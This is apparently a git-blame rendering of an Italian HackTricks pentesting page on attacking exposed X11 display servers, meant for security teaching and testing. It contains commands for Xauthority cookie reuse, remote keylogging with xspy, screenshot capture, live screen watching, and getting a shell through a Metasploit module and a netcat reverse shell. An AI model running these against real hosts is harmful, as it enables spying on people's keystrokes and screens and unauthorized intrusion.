2024-07-19 11:34:23 +00:00
# 6000 - Pentesting X11
2022-04-28 16:01:33 +00:00
2024-07-19 11:34:23 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 11:34:23 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 11:34:23 +00:00
< summary > Support HackTricks< / summary >
2024-01-03 10:42:55 +00:00
2024-07-19 11:34:23 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 11:34:23 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-05-05 22:09:41 +00:00
< figure > < img src = "../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-02-27 09:28:45 +00:00
2024-07-19 11:34:23 +00:00
Join [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) server to communicate with experienced hackers and bug bounty hunters!
2023-02-27 09:28:45 +00:00
2024-07-19 11:34:23 +00:00
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
2023-07-14 15:03:41 +00:00
2024-07-19 11:34:23 +00:00
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
2023-07-14 15:03:41 +00:00
2024-07-19 11:34:23 +00:00
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
2022-11-05 09:07:43 +00:00
2024-07-19 11:34:23 +00:00
**Join us on** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) and start collaborating with top hackers today!
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
## Informazioni di base
2020-07-15 15:43:14 +00:00
2024-07-19 11:34:23 +00:00
**X Window System** (X) è un sistema di finestre versatile prevalente nei sistemi operativi basati su UNIX. Fornisce un framework per la creazione di **interfacce utente grafiche (GUI)** , con singoli programmi che gestiscono il design dell'interfaccia utente. Questa flessibilità consente esperienze diverse e personalizzabili all'interno dell'ambiente X.
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
**Porta predefinita:** 6000
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
PORT STATE SERVICE
6000/tcp open X11
```
2024-02-10 13:03:23 +00:00
## Enumerazione
2020-07-15 15:43:14 +00:00
2024-07-19 11:34:23 +00:00
Controlla per **connessione anonima:**
2020-07-15 15:43:14 +00:00
```bash
nmap -sV --script x11-access -p < PORT > < IP >
msf> use auxiliary/scanner/x11/open_x11
```
2024-02-10 13:03:23 +00:00
#### Enumerazione Locale
2020-07-15 15:43:14 +00:00
2024-07-19 11:34:23 +00:00
Il file ** `.Xauthority` ** nella cartella home degli utenti è **utilizzato** da **X11 per l'autorizzazione** . Da [**qui** ](https://stackoverflow.com/a/37367518 ):
2023-12-29 08:56:54 +00:00
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
2024-07-19 11:34:23 +00:00
> MIT-magic-cookie-1: Generazione di 128 bit di chiave (“cookie”), memorizzandola in \~/.Xauthority (o dove punta la variabile d'ambiente XAUTHORITY). Il client la invia al server in chiaro! il server verifica se ha una copia di questo “cookie” e, in tal caso, la connessione è consentita. la chiave è generata da DMX.
2023-04-07 00:41:31 +00:00
{% hint style="warning" %}
2024-07-19 11:34:23 +00:00
Per **utilizzare il cookie** dovresti impostare la variabile d'ambiente: ** `export XAUTHORITY=/path/to/.Xauthority` **
2023-04-07 00:41:31 +00:00
{% endhint %}
2024-05-05 22:09:41 +00:00
#### Sessione di Enumerazione Locale
2023-12-29 08:56:54 +00:00
```bash
2024-02-10 13:03:23 +00:00
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
2023-12-29 08:56:54 +00:00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
2024-07-19 11:34:23 +00:00
Nell'esempio, `localhost:0` stava eseguendo xfce4-session.
2024-02-10 13:03:23 +00:00
## Verifica Connessione
2020-07-15 15:43:14 +00:00
```bash
xdpyinfo -display < ip > :< display >
xwininfo -root -tree -display < IP > :< display > #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
2023-03-05 19:54:13 +00:00
## Keyloggin
2020-07-15 15:43:14 +00:00
2024-07-19 11:34:23 +00:00
[xspy ](http://tools.kali.org/sniffingspoofing/xspy ) per sniffare i tasti della tastiera.
2020-07-15 15:43:14 +00:00
2024-07-19 11:34:23 +00:00
Sample Output:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
2024-07-19 11:34:23 +00:00
## Cattura di screenshot
2024-02-10 13:03:23 +00:00
```bash
xwd -root -screen -silent -display < TargetIP:0 > > screenshot.xwd
convert screenshot.xwd screenshot.png
```
2024-07-19 11:34:23 +00:00
## Remote Desktop View
2024-02-10 13:03:23 +00:00
2024-07-19 11:34:23 +00:00
Fonte: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref ](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref )
2024-02-10 13:03:23 +00:00
```
./xrdp.py < IP:0 >
```
2024-07-19 11:34:23 +00:00
Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html ](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html )
2020-07-15 15:43:14 +00:00
2024-07-19 11:34:23 +00:00
Prima dobbiamo trovare l'ID della finestra utilizzando xwininfo
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
2024-07-19 11:34:23 +00:00
Per **visualizzazione dal vivo** dobbiamo usare
2020-07-15 15:43:14 +00:00
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
2024-07-19 11:34:23 +00:00
## Ottieni Shell
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
msf> use exploit/unix/x11/x11_keyboard_exec
```
2024-07-19 11:34:23 +00:00
**Reverse Shell:** Xrdp consente anche di ottenere una reverse shell tramite Netcat. Digita il seguente comando:
2024-02-08 21:36:35 +00:00
```bash
./xrdp.py \<IP:0> – no-disp
```
2024-02-10 13:03:23 +00:00
Nell'interfaccia puoi vedere l'opzione **R-shell** .
2020-07-15 15:43:14 +00:00
2024-07-19 11:34:23 +00:00
Quindi, avvia un **listener Netcat** nel tuo sistema locale sulla porta 5555.
2024-02-08 21:36:35 +00:00
```bash
nc -lvp 5555
```
2024-07-19 11:34:23 +00:00
Poi, inserisci il tuo indirizzo IP e la porta nell'opzione **R-Shell** e clicca su **R-shell** per ottenere una shell
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2024-05-05 22:09:41 +00:00
2024-02-08 21:36:35 +00:00
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref ](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref )
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html ](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html )
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref ](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref )
2020-09-24 20:01:29 +00:00
2023-03-05 19:54:13 +00:00
## Shodan
2020-09-24 20:01:29 +00:00
* `port:6000 x11`
2022-04-28 16:01:33 +00:00
2024-05-05 22:09:41 +00:00
< figure > < img src = "../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 15:03:41 +00:00
2024-07-19 11:34:23 +00:00
Unisciti al server [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) per comunicare con hacker esperti e cacciatori di bug bounty!
2022-11-05 09:07:43 +00:00
2024-07-19 11:34:23 +00:00
**Approfondimenti sul hacking**\
2024-02-10 13:03:23 +00:00
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
2023-02-27 09:28:45 +00:00
2024-07-19 11:34:23 +00:00
**Notizie di hacking in tempo reale**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
2023-02-27 09:28:45 +00:00
2024-07-19 11:34:23 +00:00
**Ultimi annunci**\
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
2023-02-27 09:28:45 +00:00
2024-07-19 11:34:23 +00:00
**Unisciti a noi su** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) e inizia a collaborare con i migliori hacker oggi stesso!
2022-11-05 09:07:43 +00:00
2024-07-19 11:34:23 +00:00
{% hint style="success" %}
Impara e pratica AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Impara e pratica GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 11:34:23 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 11:34:23 +00:00
< summary > Supporta HackTricks< / summary >
2024-01-03 10:42:55 +00:00
2024-07-19 11:34:23 +00:00
* Controlla i [**piani di abbonamento** ](https://github.com/sponsors/carlospolop )!
* **Unisciti al** 💬 [**gruppo Discord** ](https://discord.gg/hRep4RUj7f ) o al [**gruppo telegram** ](https://t.me/peass ) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repos su github.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 11:34:23 +00:00
{% endhint %}